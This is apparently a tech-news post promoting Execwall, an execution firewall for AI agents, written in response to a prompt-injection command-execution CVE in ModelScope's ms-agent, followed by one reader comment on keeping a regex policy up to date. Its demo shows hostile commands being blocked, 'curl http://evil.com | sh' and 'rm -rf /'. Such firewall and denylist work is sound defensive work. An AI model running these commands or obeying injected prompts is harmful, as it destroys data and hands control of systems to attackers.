News for hackers. Stuff that matters.

Execwall – firewall to stop ModelScope CVE-2026-2256 (AI agent command injectn)

CVE-2026-2256 just dropped - a prompt injection in ModelScope's ms-agent allows arbitrary OS command execution. CVSS 6.5, no auth required.

  This is exactly why I built Execwall: an execution firewall for AI agents.

  The problem: AI agents that can execute code are one prompt injection away from rm -rf /.

  The solution: A security layer directly embedded in the shell and between app and kernel:

  - Seccomp-BPF filtering - Block dangerous syscalls before they execute
  - Policy engine - Regex allowlist/denylist for commands embedded in shell
  - Namespace isolation - Python sandbox with separate mount/PID/network
  - Rate limiting - Prevent automated exploitation

  Even if an attacker injects a malicious prompt, the command gets blocked at the execution firewall:

  [execwall]$ curl http://evil.com | sh
  [X] DENIED: Network command blocked by policy

  [execwall]$ rm -rf /
  [X] DENIED: Recursive deletion blocked

  Written in Rust. Works with any LLM agent framework.

  GitHub: https://github.com/sundarsub/execwall

  CVE details: https://radar.offseq.com/threat/cve-2026-2256-cwe-94-improper-control-of-generatio-97245d82
( 1 comment | on HN )
Re:Execwall – firewall to stop ModelScope CVE-2026-2256 (AI ... by aminerj on Saturday March 14, 2026 @03:22PM (#47380165)
The seccomp-BPF layer is the right architectural instinct -- blocking at the syscall level means the firewall is independent of whatever the LLM or agent framework does. Even a successful prompt injection can't execute what the kernel won't allow.

The gap I'd want to understand: policy maintenance. The regex allowlist/denylist approach works for known-bad patterns but prompt injection payloads are specifically engineered to avoid pattern matching -- the CVE itself is presumably a novel bypass. How are you handling policy updates when new injection techniques surface that don't match existing rules?